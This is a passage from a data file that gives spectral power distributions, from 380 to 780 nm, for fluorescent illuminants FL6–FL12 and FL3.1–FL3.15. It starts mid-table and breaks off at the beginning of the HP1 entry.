400: 5.10,
405: 18.91,
410: 6.00,
415: 6.11,
420: 6.85,
425: 7.58,
430: 8.31,
435: 40.76,
440: 16.06,
445: 10.32,
450: 10.91,
455: 11.40,
460: 11.83,
465: 12.17,
470: 12.40,
475: 12.54,
480: 12.58,
485: 12.52,
490: 12.47,
495: 12.20,
500: 11.89,
505: 11.61,
510: 11.33,
515: 11.10,
520: 10.96,
525: 10.97,
530: 11.16,
535: 11.54,
540: 12.12,
545: 27.78,
550: 17.73,
555: 14.47,
560: 15.20,
565: 15.77,
570: 16.10,
575: 18.54,
580: 19.50,
585: 15.39,
590: 14.64,
595: 13.72,
600: 12.69,
605: 11.57,
610: 10.45,
615: 9.35,
620: 8.29,
625: 7.32,
630: 6.41,
635: 5.63,
640: 4.90,
645: 4.26,
650: 3.72,
655: 3.25,
660: 2.83,
665: 2.49,
670: 2.19,
675: 1.93,
680: 1.71,
685: 1.52,
690: 1.48,
695: 1.26,
700: 1.13,
705: 1.05,
710: 0.96,
715: 0.85,
720: 0.78,
725: 0.72,
730: 0.68,
735: 0.67,
740: 0.65,
745: 0.61,
750: 0.62,
755: 0.59,
760: 0.62,
765: 0.64,
770: 0.55,
775: 0.47,
780: 0.40
},
'FL6': {
380: 1.05,
385: 1.31,
390: 1.63,
395: 1.90,
400: 3.11,
405: 14.80,
410: 3.43,
415: 3.30,
420: 3.68,
425: 4.07,
430: 4.45,
435: 32.61,
440: 10.74,
445: 5.48,
450: 5.78,
455: 6.03,
460: 6.25,
465: 6.41,
470: 6.52,
475: 6.58,
480: 6.59,
485: 6.56,
490: 6.56,
495: 6.42,
500: 6.28,
505: 6.20,
510: 6.19,
515: 6.30,
520: 6.60,
525: 7.12,
530: 7.94,
535: 9.07,
540: 10.49,
545: 25.22,
550: 17.46,
555: 15.63,
560: 17.22,
565: 18.53,
570: 19.43,
575: 21.97,
580: 23.01,
585: 19.41,
590: 18.56,
595: 17.42,
600: 16.09,
605: 14.64,
610: 13.15,
615: 11.68,
620: 10.25,
625: 8.95,
630: 7.74,
635: 6.69,
640: 5.71,
645: 4.87,
650: 4.16,
655: 3.55,
660: 3.02,
665: 2.57,
670: 2.20,
675: 1.87,
680: 1.60,
685: 1.37,
690: 1.29,
695: 1.05,
700: 0.91,
705: 0.81,
710: 0.71,
715: 0.61,
720: 0.54,
725: 0.48,
730: 0.44,
735: 0.43,
740: 0.40,
745: 0.37,
750: 0.38,
755: 0.35,
760: 0.39,
765: 0.41,
770: 0.33,
775: 0.26,
780: 0.21
},
'FL7': {
380: 2.56,
385: 3.18,
390: 3.84,
395: 4.53,
400: 6.15,
405: 19.37,
410: 7.37,
415: 7.05,
420: 7.71,
425: 8.41,
430: 9.15,
435: 44.14,
440: 17.52,
445: 11.35,
450: 12.00,
455: 12.58,
460: 13.08,
465: 13.45,
470: 13.71,
475: 13.88,
480: 13.95,
485: 13.93,
490: 13.82,
495: 13.64,
500: 13.43,
505: 13.25,
510: 13.08,
515: 12.93,
520: 12.78,
525: 12.60,
530: 12.44,
535: 12.33,
540: 12.26,
545: 29.52,
550: 17.05,
555: 12.44,
560: 12.58,
565: 12.72,
570: 12.83,
575: 15.46,
580: 16.75,
585: 12.83,
590: 12.67,
595: 12.45,
600: 12.19,
605: 11.89,
610: 11.60,
615: 11.35,
620: 11.12,
625: 10.95,
630: 10.76,
635: 10.42,
640: 10.11,
645: 10.04,
650: 10.02,
655: 10.11,
660: 9.87,
665: 8.65,
670: 7.27,
675: 6.44,
680: 5.83,
685: 5.41,
690: 5.04,
695: 4.57,
700: 4.12,
705: 3.77,
710: 3.46,
715: 3.08,
720: 2.73,
725: 2.47,
730: 2.25,
735: 2.06,
740: 1.90,
745: 1.75,
750: 1.62,
755: 1.54,
760: 1.45,
765: 1.32,
770: 1.17,
775: 0.99,
780: 0.81
},
'FL8': {
380: 1.21,
385: 1.50,
390: 1.81,
395: 2.13,
400: 3.17,
405: 13.08,
410: 3.83,
415: 3.45,
420: 3.86,
425: 4.42,
430: 5.09,
435: 34.10,
440: 12.42,
445: 7.68,
450: 8.60,
455: 9.46,
460: 10.24,
465: 10.84,
470: 11.33,
475: 11.71,
480: 11.98,
485: 12.17,
490: 12.28,
495: 12.32,
500: 12.35,
505: 12.44,
510: 12.55,
515: 12.68,
520: 12.77,
525: 12.72,
530: 12.60,
535: 12.43,
540: 12.22,
545: 28.96,
550: 16.51,
555: 11.79,
560: 11.76,
565: 11.77,
570: 11.84,
575: 14.61,
580: 16.11,
585: 12.34,
590: 12.53,
595: 12.72,
600: 12.92,
605: 13.12,
610: 13.34,
615: 13.61,
620: 13.87,
625: 14.07,
630: 14.20,
635: 14.16,
640: 14.13,
645: 14.34,
650: 14.50,
655: 14.46,
660: 14.00,
665: 12.58,
670: 10.99,
675: 9.98,
680: 9.22,
685: 8.62,
690: 8.07,
695: 7.39,
700: 6.71,
705: 6.16,
710: 5.63,
715: 5.03,
720: 4.46,
725: 4.02,
730: 3.66,
735: 3.36,
740: 3.09,
745: 2.85,
750: 2.65,
755: 2.51,
760: 2.37,
765: 2.15,
770: 1.89,
775: 1.61,
780: 1.32
},
'FL9': {
380: 0.90,
385: 1.12,
390: 1.36,
395: 1.60,
400: 2.59,
405: 12.80,
410: 3.05,
415: 2.56,
420: 2.86,
425: 3.30,
430: 3.82,
435: 32.62,
440: 10.77,
445: 5.84,
450: 6.57,
455: 7.25,
460: 7.86,
465: 8.35,
470: 8.75,
475: 9.06,
480: 9.31,
485: 9.48,
490: 9.61,
495: 9.68,
500: 9.74,
505: 9.88,
510: 10.04,
515: 10.26,
520: 10.48,
525: 10.63,
530: 10.78,
535: 10.96,
540: 11.18,
545: 27.71,
550: 16.29,
555: 12.28,
560: 12.74,
565: 13.21,
570: 13.65,
575: 16.57,
580: 18.14,
585: 14.55,
590: 14.65,
595: 14.66,
600: 14.61,
605: 14.50,
610: 14.39,
615: 14.40,
620: 14.47,
625: 14.62,
630: 14.72,
635: 14.55,
640: 14.40,
645: 14.58,
650: 14.88,
655: 15.51,
660: 15.47,
665: 13.20,
670: 10.57,
675: 9.18,
680: 8.25,
685: 7.57,
690: 7.03,
695: 6.35,
700: 5.72,
705: 5.25,
710: 4.80,
715: 4.29,
720: 3.80,
725: 3.43,
730: 3.12,
735: 2.86,
740: 2.64,
745: 2.43,
750: 2.26,
755: 2.14,
760: 2.02,
765: 1.83,
770: 1.61,
775: 1.38,
780: 1.12
},
'FL10': {
380: 1.11,
385: 0.80,
390: 0.62,
395: 0.57,
400: 1.48,
405: 12.16,
410: 2.12,
415: 2.70,
420: 3.74,
425: 5.14,
430: 6.75,
435: 34.39,
440: 14.86,
445: 10.40,
450: 10.76,
455: 10.67,
460: 10.11,
465: 9.27,
470: 8.29,
475: 7.29,
480: 7.91,
485: 16.64,
490: 16.73,
495: 10.44,
500: 5.94,
505: 3.34,
510: 2.35,
515: 1.88,
520: 1.59,
525: 1.47,
530: 1.80,
535: 5.71,
540: 40.98,
545: 73.69,
550: 33.61,
555: 8.24,
560: 3.38,
565: 2.47,
570: 2.14,
575: 4.86,
580: 11.45,
585: 14.79,
590: 12.16,
595: 8.97,
600: 6.52,
605: 8.31,
610: 44.12,
615: 34.55,
620: 12.09,
625: 12.15,
630: 10.52,
635: 4.43,
640: 1.95,
645: 2.19,
650: 3.19,
655: 2.77,
660: 2.29,
665: 2.00,
670: 1.52,
675: 1.35,
680: 1.47,
685: 1.79,
690: 1.74,
695: 1.02,
700: 1.14,
705: 3.32,
710: 4.49,
715: 2.05,
720: 0.49,
725: 0.24,
730: 0.21,
735: 0.21,
740: 0.24,
745: 0.24,
750: 0.21,
755: 0.17,
760: 0.21,
765: 0.22,
770: 0.17,
775: 0.12,
780: 0.09
},
'FL11': {
380: 0.91,
385: 0.63,
390: 0.46,
395: 0.37,
400: 1.29,
405: 12.68,
410: 1.59,
415: 1.79,
420: 2.46,
425: 3.33,
430: 4.49,
435: 33.94,
440: 12.13,
445: 6.95,
450: 7.19,
455: 7.12,
460: 6.72,
465: 6.13,
470: 5.46,
475: 4.79,
480: 5.66,
485: 14.29,
490: 14.96,
495: 8.97,
500: 4.72,
505: 2.33,
510: 1.47,
515: 1.10,
520: 0.89,
525: 0.83,
530: 1.18,
535: 4.90,
540: 39.59,
545: 72.84,
550: 32.61,
555: 7.52,
560: 2.83,
565: 1.96,
570: 1.67,
575: 4.43,
580: 11.28,
585: 14.76,
590: 12.73,
595: 9.74,
600: 7.33,
605: 9.72,
610: 55.27,
615: 42.58,
620: 13.18,
625: 13.16,
630: 12.26,
635: 5.11,
640: 2.07,
645: 2.34,
650: 3.58,
655: 3.01,
660: 2.48,
665: 2.14,
670: 1.54,
675: 1.33,
680: 1.46,
685: 1.94,
690: 2.00,
695: 1.20,
700: 1.35,
705: 4.10,
710: 5.58,
715: 2.51,
720: 0.57,
725: 0.27,
730: 0.23,
735: 0.21,
740: 0.24,
745: 0.24,
750: 0.20,
755: 0.24,
760: 0.32,
765: 0.26,
770: 0.16,
775: 0.12,
780: 0.09
},
'FL12': {
380: 0.96,
385: 0.64,
390: 0.40,
395: 0.33,
400: 1.19,
405: 12.48,
410: 1.12,
415: 0.94,
420: 1.08,
425: 1.37,
430: 1.78,
435: 29.05,
440: 7.90,
445: 2.65,
450: 2.71,
455: 2.65,
460: 2.49,
465: 2.33,
470: 2.10,
475: 1.91,
480: 3.01,
485: 10.83,
490: 11.88,
495: 6.88,
500: 3.43,
505: 1.49,
510: 0.92,
515: 0.71,
520: 0.60,
525: 0.63,
530: 1.10,
535: 4.56,
540: 34.40,
545: 65.40,
550: 29.48,
555: 7.16,
560: 3.08,
565: 2.47,
570: 2.27,
575: 5.09,
580: 11.96,
585: 15.32,
590: 14.27,
595: 11.86,
600: 9.28,
605: 12.31,
610: 68.53,
615: 53.02,
620: 14.67,
625: 14.38,
630: 14.71,
635: 6.46,
640: 2.57,
645: 2.75,
650: 4.18,
655: 3.44,
660: 2.81,
665: 2.42,
670: 1.64,
675: 1.36,
680: 1.49,
685: 2.14,
690: 2.34,
695: 1.42,
700: 1.61,
705: 5.04,
710: 6.98,
715: 3.19,
720: 0.71,
725: 0.30,
730: 0.26,
735: 0.23,
740: 0.28,
745: 0.28,
750: 0.21,
755: 0.17,
760: 0.21,
765: 0.19,
770: 0.15,
775: 0.10,
780: 0.05
},
'FL3.1': {
380: 2.39,
385: 2.93,
390: 3.82,
395: 4.23,
400: 4.97,
405: 86.30,
410: 11.65,
415: 7.09,
420: 7.84,
425: 8.59,
430: 9.44,
435: 196.54,
440: 10.94,
445: 11.38,
450: 11.89,
455: 12.37,
460: 12.81,
465: 13.15,
470: 13.39,
475: 13.56,
480: 13.59,
485: 13.56,
490: 14.07,
495: 13.39,
500: 13.29,
505: 13.25,
510: 13.53,
515: 14.24,
520: 15.74,
525: 18.26,
530: 22.28,
535: 27.97,
540: 35.70,
545: 148.98,
550: 56.55,
555: 68.68,
560: 79.99,
565: 91.47,
570: 101.32,
575: 123.16,
580: 129.53,
585: 115.05,
590: 113.48,
595: 110.08,
600: 104.28,
605: 97.98,
610: 89.60,
615: 80.74,
620: 71.92,
625: 63.50,
630: 55.46,
635: 47.97,
640: 41.39,
645: 35.50,
650: 30.32,
655: 25.79,
660: 21.84,
665: 18.53,
670: 15.67,
675: 13.22,
680: 11.14,
685: 9.40,
690: 8.65,
695: 6.75,
700: 5.69,
705: 4.87,
710: 4.29,
715: 3.54,
720: 3.03,
725: 2.62,
730: 2.28,
735: 1.94,
740: 1.70,
745: 1.50,
750: 1.36,
755: 1.16,
760: 4.91,
765: 0.95,
770: 1.50,
775: 0.89,
780: 0.68
},
'FL3.2': {
380: 5.80,
385: 6.99,
390: 8.70,
395: 9.89,
400: 11.59,
405: 94.53,
410: 20.80,
415: 16.52,
420: 18.30,
425: 20.33,
430: 22.00,
435: 231.90,
440: 25.81,
445: 27.63,
450: 29.10,
455: 30.61,
460: 31.92,
465: 33.11,
470: 33.83,
475: 34.70,
480: 35.02,
485: 35.22,
490: 35.81,
495: 35.14,
500: 35.14,
505: 34.90,
510: 34.70,
515: 35.02,
520: 36.13,
525: 37.92,
530: 40.62,
535: 44.70,
540: 49.63,
545: 154.16,
550: 62.21,
555: 68.92,
560: 75.83,
565: 81.95,
570: 86.95,
575: 103.54,
580: 109.94,
585: 91.95,
590: 89.85,
595: 87.15,
600: 83.26,
605: 78.93,
610: 73.93,
615: 68.84,
620: 63.44,
625: 58.84,
630: 53.84,
635: 49.43,
640: 45.54,
645: 41.53,
650: 38.31,
655: 34.62,
660: 31.80,
665: 29.02,
670: 26.72,
675: 24.22,
680: 22.19,
685: 20.41,
690: 19.10,
695: 16.79,
700: 15.13,
705: 13.82,
710: 12.63,
715: 11.39,
720: 10.32,
725: 9.21,
730: 8.89,
735: 7.50,
740: 6.71,
745: 6.11,
750: 5.40,
755: 4.80,
760: 8.70,
765: 4.01,
770: 4.09,
775: 3.30,
780: 2.82
},
'FL3.3': {
380: 8.94,
385: 11.21,
390: 14.08,
395: 16.48,
400: 19.63,
405: 116.33,
410: 32.07,
415: 29.72,
420: 33.39,
425: 36.94,
430: 40.33,
435: 262.66,
440: 46.87,
445: 49.79,
450: 52.46,
455: 54.81,
460: 56.81,
465: 58.44,
470: 59.52,
475: 60.12,
480: 60.24,
485: 59.88,
490: 59.88,
495: 58.60,
500: 57.85,
505: 56.29,
510: 54.81,
515: 53.42,
520: 52.70,
525: 52.50,
530: 53.30,
535: 54.89,
540: 57.61,
545: 182.75,
550: 65.27,
555: 69.41,
560: 73.28,
565: 76.56,
570: 78.67,
575: 95.74,
580: 97.22,
585: 76.79,
590: 73.36,
595: 69.33,
600: 64.23,
605: 58.92,
610: 53.38,
615: 47.91,
620: 42.61,
625: 37.74,
630: 33.11,
635: 29.04,
640: 25.29,
645: 22.10,
650: 19.31,
655: 16.84,
660: 14.68,
665: 12.89,
670: 11.37,
675: 9.97,
680: 8.82,
685: 7.86,
690: 7.78,
695: 6.30,
700: 5.67,
705: 5.15,
710: 4.91,
715: 4.31,
720: 3.99,
725: 3.67,
730: 3.43,
735: 3.19,
740: 2.95,
745: 2.75,
750: 2.63,
755: 2.43,
760: 7.14,
765: 2.19,
770: 2.71,
775: 2.00,
780: 1.80
},
'FL3.4': {
380: 3.46,
385: 3.86,
390: 4.41,
395: 4.51,
400: 4.86,
405: 71.22,
410: 8.72,
415: 5.36,
420: 5.61,
425: 5.91,
430: 6.42,
435: 192.77,
440: 7.77,
445: 8.37,
450: 9.22,
455: 10.18,
460: 11.18,
465: 12.28,
470: 13.38,
475: 14.54,
480: 15.74,
485: 17.09,
490: 19.60,
495: 21.05,
500: 23.96,
505: 27.77,
510: 32.68,
515: 38.29,
520: 43.76,
525: 47.72,
530: 50.27,
535: 51.78,
540: 52.68,
545: 167.36,
550: 55.29,
555: 56.94,
560: 59.30,
565: 62.15,
570: 65.26,
575: 84.26,
580: 89.22,
585: 75.79,
590: 79.19,
595: 82.80,
600: 85.76,
605: 88.62,
610: 91.12,
615: 93.43,
620: 96.89,
625: 101.45,
630: 103.65,
635: 100.30,
640: 97.89,
645: 96.59,
650: 106.21,
655: 109.97,
660: 117.49,
665: 96.04,
670: 80.15,
675: 70.42,
680: 65.01,
685: 60.15,
690: 56.04,
695: 50.92,
700: 46.26,
705: 42.60,
710: 38.85,
715: 35.09,
720: 31.73,
725: 28.77,
730: 25.76,
735: 23.16,
740: 21.30,
745: 18.55,
750: 17.74,
755: 14.74,
760: 12.93,
765: 13.63,
770: 10.43,
775: 9.67,
780: 8.07
},
'FL3.5': {
380: 4.72,
385: 5.82,
390: 7.18,
395: 8.39,
400: 9.96,
405: 58.86,
410: 15.78,
415: 15.10,
420: 17.30,
425: 19.66,
430: 22.43,
435: 176.00,
440: 28.67,
445: 31.92,
450: 35.38,
455: 38.73,
460: 41.98,
465: 44.92,
470: 47.49,
475: 49.58,
480: 51.21,
485: 52.36,
490: 53.99,
495: 53.78,
500: 54.04,
505: 53.88,
510: 53.62,
515: 53.25,
520: 53.09,
525: 52.88,
530: 52.99,
535: 53.15,
540: 53.67,
545: 167.93,
550: 55.61,
555: 56.82,
560: 58.39,
565: 60.22,
570: 62.21,
575: 81.45,
580: 84.96,
585: 68.71,
590: 70.70,
595: 73.01,
600: 74.69,
605: 76.26,
610: 77.68,
615: 78.67,
620: 80.14,
625: 81.71,
630: 82.08,
635: 79.98,
640: 78.15,
645: 76.52,
650: 79.20,
655: 79.51,
660: 81.08,
665: 70.76,
670: 62.58,
675: 56.87,
680: 52.83,
685: 49.11,
690: 46.28,
695: 42.24,
700: 38.58,
705: 35.59,
710: 32.76,
715: 29.61,
720: 26.89,
725: 24.53,
730: 22.17,
735: 20.02,
740: 18.45,
745: 16.09,
750: 15.62,
755: 13.10,
760: 11.69,
765: 12.42,
770: 9.43,
775: 8.96,
780: 7.39
},
'FL3.6': {
380: 5.53,
385: 6.63,
390: 8.07,
395: 9.45,
400: 11.28,
405: 61.47,
410: 17.80,
415: 17.47,
420: 20.12,
425: 23.05,
430: 26.37,
435: 186.01,
440: 33.94,
445: 37.98,
450: 42.12,
455: 46.38,
460: 50.30,
465: 53.95,
470: 56.94,
475: 59.48,
480: 61.36,
485: 62.68,
490: 64.34,
495: 63.90,
500: 63.85,
505: 63.24,
510: 62.46,
515: 61.41,
520: 60.47,
525: 59.48,
530: 58.65,
535: 57.93,
540: 57.49,
545: 175.17,
550: 57.27,
555: 57.49,
560: 57.99,
565: 58.76,
570: 59.64,
575: 78.77,
580: 81.26,
585: 63.18,
590: 64.29,
595: 65.78,
600: 66.77,
605: 67.77,
610: 68.60,
615: 69.10,
620: 70.15,
625: 71.69,
630: 71.97,
635: 69.81,
640: 68.05,
645: 66.66,
650: 69.70,
655: 70.37,
660: 72.47,
665: 62.30,
670: 54.45,
675: 49.20,
680: 45.60,
685: 42.40,
690: 40.02,
695: 36.48,
700: 33.28,
705: 30.84,
710: 28.30,
715: 25.65,
720: 23.33,
725: 21.23,
730: 19.29,
735: 17.41,
740: 16.31,
745: 14.21,
750: 14.04,
755: 11.55,
760: 10.39,
765: 11.28,
770: 8.51,
775: 8.24,
780: 7.02
},
'FL3.7': {
380: 3.79,
385: 2.56,
390: 1.91,
395: 1.42,
400: 1.51,
405: 73.64,
410: 7.37,
415: 4.69,
420: 5.33,
425: 6.75,
430: 8.51,
435: 181.81,
440: 11.71,
445: 11.96,
450: 12.18,
455: 11.90,
460: 11.16,
465: 11.22,
470: 9.83,
475: 8.94,
480: 12.08,
485: 52.56,
490: 55.42,
495: 31.69,
500: 16.03,
505: 6.72,
510: 4.59,
515: 3.67,
520: 3.02,
525: 3.21,
530: 4.90,
535: 19.05,
540: 177.64,
545: 347.34,
550: 116.80,
555: 31.87,
560: 16.37,
565: 14.92,
570: 14.12,
575: 29.50,
580: 61.40,
585: 85.05,
590: 64.86,
595: 65.01,
600: 53.17,
605: 34.22,
610: 427.27,
615: 201.10,
620: 58.63,
625: 72.01,
630: 88.19,
635: 20.07,
640: 13.10,
645: 12.92,
650: 24.54,
655: 15.94,
660: 13.56,
665: 13.38,
670: 8.42,
675: 6.57,
680: 7.18,
685: 9.90,
690: 11.47,
695: 8.88,
700: 3.05,
705: 22.04,
710: 42.79,
715: 14.40,
720: 1.88,
725: 1.60,
730: 1.42,
735: 1.05,
740: 1.23,
745: 1.76,
750: 0.74,
755: 0.52,
760: 4.10,
765: 0.46,
770: 0.99,
775: 0.43,
780: 0.00
},
'FL3.8': {
380: 4.18,
385: 2.93,
390: 2.29,
395: 1.98,
400: 2.44,
405: 70.70,
410: 10.19,
415: 9.79,
420: 13.21,
425: 17.79,
430: 22.98,
435: 191.43,
440: 31.76,
445: 33.35,
450: 33.87,
455: 32.89,
460: 30.60,
465: 28.28,
470: 24.81,
475: 21.60,
480: 23.40,
485: 68.99,
490: 70.85,
495: 42.29,
500: 22.67,
505: 11.08,
510: 7.66,
515: 6.07,
520: 5.07,
525: 4.88,
530: 6.26,
535: 20.29,
540: 204.67,
545: 390.25,
550: 135.69,
555: 34.57,
560: 15.71,
565: 12.60,
570: 11.05,
575: 25.05,
580: 54.98,
585: 82.84,
590: 58.22,
595: 53.06,
600: 41.44,
605: 25.26,
610: 329.89,
615: 161.29,
620: 54.19,
625: 66.30,
630: 71.43,
635: 15.74,
640: 10.22,
645: 10.68,
650: 20.32,
655: 14.13,
660: 11.72,
665: 11.75,
670: 7.87,
675: 6.38,
680: 7.23,
685: 8.94,
690: 9.79,
695: 7.26,
700: 2.59,
705: 17.03,
710: 33.69,
715: 12.02,
720: 1.68,
725: 1.50,
730: 1.31,
735: 1.01,
740: 1.16,
745: 1.59,
750: 0.79,
755: 0.67,
760: 4.82,
765: 0.61,
770: 1.25,
775: 0.79,
780: 0.58
},
'FL3.9': {
380: 3.77,
385: 2.64,
390: 2.06,
395: 1.87,
400: 2.55,
405: 71.68,
410: 12.05,
415: 13.57,
420: 19.60,
425: 27.33,
430: 35.39,
435: 211.82,
440: 49.02,
445: 51.83,
450: 52.50,
455: 50.73,
460: 46.93,
465: 42.42,
470: 37.16,
475: 31.84,
480: 31.94,
485: 77.74,
490: 79.45,
495: 47.93,
500: 26.24,
505: 13.15,
510: 8.80,
515: 6.70,
520: 5.38,
525: 4.93,
530: 6.06,
535: 19.76,
540: 215.94,
545: 412.13,
550: 142.39,
555: 34.74,
560: 14.76,
565: 10.99,
570: 9.25,
575: 23.50,
580: 53.05,
585: 81.90,
590: 54.92,
595: 47.80,
600: 36.65,
605: 21.82,
610: 285.69,
615: 139.94,
620: 53.37,
625: 64.30,
630: 64.04,
635: 13.79,
640: 9.06,
645: 9.83,
650: 18.60,
655: 13.38,
660: 10.99,
665: 10.77,
670: 7.57,
675: 6.19,
680: 7.09,
685: 8.54,
690: 8.77,
695: 6.41,
700: 2.26,
705: 15.02,
710: 29.39,
715: 10.22,
720: 1.42,
725: 1.23,
730: 1.10,
735: 0.84,
740: 0.97,
745: 1.35,
750: 0.65,
755: 0.13,
760: 4.22,
765: 0.10,
770: 0.68,
775: 0.16,
780: 0.00
},
'FL3.10': {
380: 0.25,
385: 0.00,
390: 0.00,
395: 0.00,
400: 0.69,
405: 21.24,
410: 2.18,
415: 1.86,
420: 3.10,
425: 5.00,
430: 7.03,
435: 45.08,
440: 16.78,
445: 12.28,
450: 13.31,
455: 13.66,
460: 13.69,
465: 13.13,
470: 12.28,
475: 11.42,
480: 11.66,
485: 22.04,
490: 26.17,
495: 18.57,
500: 11.36,
505: 6.83,
510: 5.58,
515: 4.88,
520: 4.31,
525: 3.76,
530: 3.61,
535: 5.62,
540: 38.59,
545: 100.00,
550: 36.54,
555: 10.57,
560: 2.98,
565: 2.05,
570: 1.84,
575: 6.09,
580: 17.27,
585: 21.77,
590: 18.72,
595: 10.15,
600: 7.26,
605: 5.17,
610: 56.66,
615: 49.39,
620: 18.57,
625: 14.21,
630: 14.01,
635: 5.99,
640: 2.68,
645: 3.14,
650: 6.25,
655: 5.78,
660: 6.75,
665: 5.16,
670: 3.03,
675: 1.57,
680: 1.72,
685: 1.54,
690: 1.71,
695: 1.10,
700: 0.28,
705: 3.65,
710: 7.54,
715: 2.34,
720: 0.05,
725: 0.04,
730: 0.04,
735: 0.03,
740: 0.03,
745: 0.02,
750: 0.02,
755: 0.01,
760: 0.01,
765: 0.00,
770: 0.00,
775: 0.00,
780: 0.00
},
'FL3.11': {
380: 3.85,
385: 2.91,
390: 2.56,
395: 2.59,
400: 3.63,
405: 74.54,
410: 14.69,
415: 17.22,
420: 24.99,
425: 34.40,
430: 44.57,
435: 228.08,
440: 61.53,
445: 65.31,
450: 66.35,
455: 64.37,
460: 59.81,
465: 54.24,
470: 47.42,
475: 41.10,
480: 40.04,
485: 85.54,
490: 86.55,
495: 53.47,
500: 30.91,
505: 17.41,
510: 12.56,
515: 10.10,
520: 8.48,
525: 7.74,
530: 8.58,
535: 21.39,
540: 220.12,
545: 417.35,
550: 146.13,
555: 36.67,
560: 16.51,
565: 12.56,
570: 10.81,
575: 25.31,
580: 53.31,
585: 80.75,
590: 53.56,
595: 44.02,
600: 33.05,
605: 20.26,
610: 233.61,
615: 118.20,
620: 51.66,
625: 61.27,
630: 55.15,
635: 12.95,
640: 8.93,
645: 9.77,
650: 17.12,
655: 13.01,
660: 10.45,
665: 10.33,
670: 7.70,
675: 6.34,
680: 7.35,
685: 8.22,
690: 7.93,
695: 5.70,
700: 2.23,
705: 12.43,
710: 24.24,
715: 8.74,
720: 1.39,
725: 1.23,
730: 1.10,
735: 0.84,
740: 0.94,
745: 1.23,
750: 0.68,
755: 0.52,
760: 4.60,
765: 0.45,
770: 1.04,
775: 0.45,
780: 0.00
},
'FL3.12': {
380: 1.62,
385: 2.06,
390: 2.71,
395: 3.11,
400: 3.67,
405: 74.60,
410: 8.88,
415: 4.77,
420: 4.72,
425: 4.72,
430: 4.94,
435: 150.29,
440: 6.08,
445: 7.13,
450: 9.10,
455: 11.76,
460: 14.96,
465: 18.54,
470: 22.48,
475: 26.76,
480: 31.66,
485: 40.93,
490: 45.83,
495: 46.00,
500: 45.26,
505: 43.16,
510: 41.63,
515: 39.75,
520: 37.83,
525: 36.16,
530: 35.25,
535: 37.04,
540: 59.86,
545: 183.53,
550: 59.03,
555: 47.93,
560: 48.67,
565: 52.69,
570: 57.24,
575: 77.75,
580: 87.81,
585: 80.55,
590: 84.83,
595: 86.84,
600: 91.44,
605: 96.51,
610: 105.25,
615: 106.74,
620: 108.53,
625: 106.92,
630: 101.54,
635: 95.20,
640: 89.34,
645: 82.95,
650: 75.78,
655: 68.65,
660: 61.70,
665: 55.23,
670: 48.58,
675: 42.90,
680: 37.74,
685: 32.93,
690: 29.65,
695: 25.19,
700: 21.69,
705: 19.28,
710: 17.36,
715: 14.74,
720: 12.86,
725: 11.28,
730: 9.97,
735: 8.88,
740: 7.78,
745: 7.04,
750: 6.30,
755: 5.55,
760: 10.15,
765: 4.50,
770: 4.81,
775: 3.72,
780: 3.28
},
'FL3.13': {
380: 2.23,
385: 2.92,
390: 3.91,
395: 4.55,
400: 5.46,
405: 77.40,
410: 11.25,
415: 7.69,
420: 8.29,
425: 8.98,
430: 10.01,
435: 204.45,
440: 13.75,
445: 16.88,
450: 21.73,
455: 27.96,
460: 34.92,
465: 41.96,
470: 48.62,
475: 54.33,
480: 59.49,
485: 67.91,
490: 70.01,
495: 66.40,
500: 62.07,
505: 56.95,
510: 52.70,
515: 48.54,
520: 44.80,
525: 41.75,
530: 39.77,
535: 40.50,
540: 59.27,
545: 184.09,
550: 59.06,
555: 49.95,
560: 50.90,
565: 54.51,
570: 58.33,
575: 77.49,
580: 85.78,
585: 76.20,
590: 78.73,
595: 78.95,
600: 81.48,
605: 84.57,
610: 87.75,
615: 89.56,
620: 91.36,
625: 89.00,
630: 83.67,
635: 78.26,
640: 73.19,
645: 67.61,
650: 61.42,
655: 55.49,
660: 49.78,
665: 44.46,
670: 39.13,
675: 34.45,
680: 30.28,
685: 26.37,
690: 23.88,
695: 20.10,
700: 17.40,
705: 15.29,
710: 13.62,
715: 11.68,
720: 10.31,
725: 9.11,
730: 8.03,
735: 7.13,
740: 6.31,
745: 5.67,
750: 5.11,
755: 4.55,
760: 9.06,
765: 3.74,
770: 4.04,
775: 3.14,
780: 2.75
},
'FL3.14': {
380: 2.87,
385: 3.69,
390: 4.87,
395: 5.82,
400: 7.17,
405: 72.21,
410: 13.69,
415: 11.12,
420: 12.43,
425: 13.90,
430: 15.82,
435: 200.99,
440: 21.72,
445: 26.33,
450: 32.85,
455: 40.80,
460: 49.23,
465: 57.39,
470: 65.26,
475: 71.99,
480: 78.25,
485: 88.85,
490: 91.67,
495: 86.81,
500: 80.42,
505: 73.82,
510: 69.12,
515: 63.69,
520: 58.44,
525: 53.57,
530: 49.66,
535: 48.44,
540: 72.56,
545: 200.42,
550: 65.00,
555: 47.49,
560: 44.14,
565: 44.71,
570: 46.01,
575: 63.52,
580: 71.73,
585: 63.52,
590: 64.13,
595: 63.74,
600: 66.82,
605: 70.65,
610: 79.29,
615: 80.77,
620: 83.59,
625: 82.59,
630: 77.60,
635: 72.47,
640: 68.34,
645: 63.82,
650: 58.57,
655: 53.18,
660: 47.97,
665: 43.14,
670: 38.19,
675: 33.85,
680: 29.94,
685: 26.24,
690: 23.90,
695: 20.33,
700: 17.42,
705: 15.64,
710: 14.34,
715: 12.21,
720: 10.65,
725: 9.43,
730: 8.34,
735: 7.52,
740: 6.73,
745: 6.08,
750: 5.52,
755: 5.00,
760: 9.47,
765: 4.08,
770: 4.43,
775: 3.39,
780: 3.17
},
'FL3.15': {
380: 300,
385: 286,
390: 268,
395: 244,
400: 304,
405: 581,
410: 225,
415: 155,
420: 152,
425: 170,
430: 295,
435: 1417,
440: 607,
445: 343,
450: 386,
455: 430,
460: 469,
465: 502,
470: 531,
475: 552,
480: 567,
485: 572,
490: 575,
495: 561,
500: 548,
505: 527,
510: 507,
515: 482,
520: 461,
525: 438,
530: 418,
535: 404,
540: 429,
545: 1016,
550: 581,
555: 370,
560: 368,
565: 371,
570: 377,
575: 490,
580: 525,
585: 402,
590: 404,
595: 412,
600: 418,
605: 425,
610: 428,
615: 432,
620: 433,
625: 431,
630: 427,
635: 420,
640: 410,
645: 399,
650: 385,
655: 370,
660: 352,
665: 336,
670: 317,
675: 298,
680: 277,
685: 260,
690: 242,
695: 223,
700: 202,
705: 187,
710: 167,
715: 152,
720: 136,
725: 125,
730: 113,
735: 103,
740: 93,
745: 84,
750: 75,
755: 66,
760: 58,
765: 51,
770: 46,
775: 41,
780: 37
},
'HP1': {
380: 1.90,
385: 2.20,
390: 2.50,
395: 2.70,
400: 3.10,
405: 4.30,
410: 3.80,
415: 4.20,
420: 4.80,
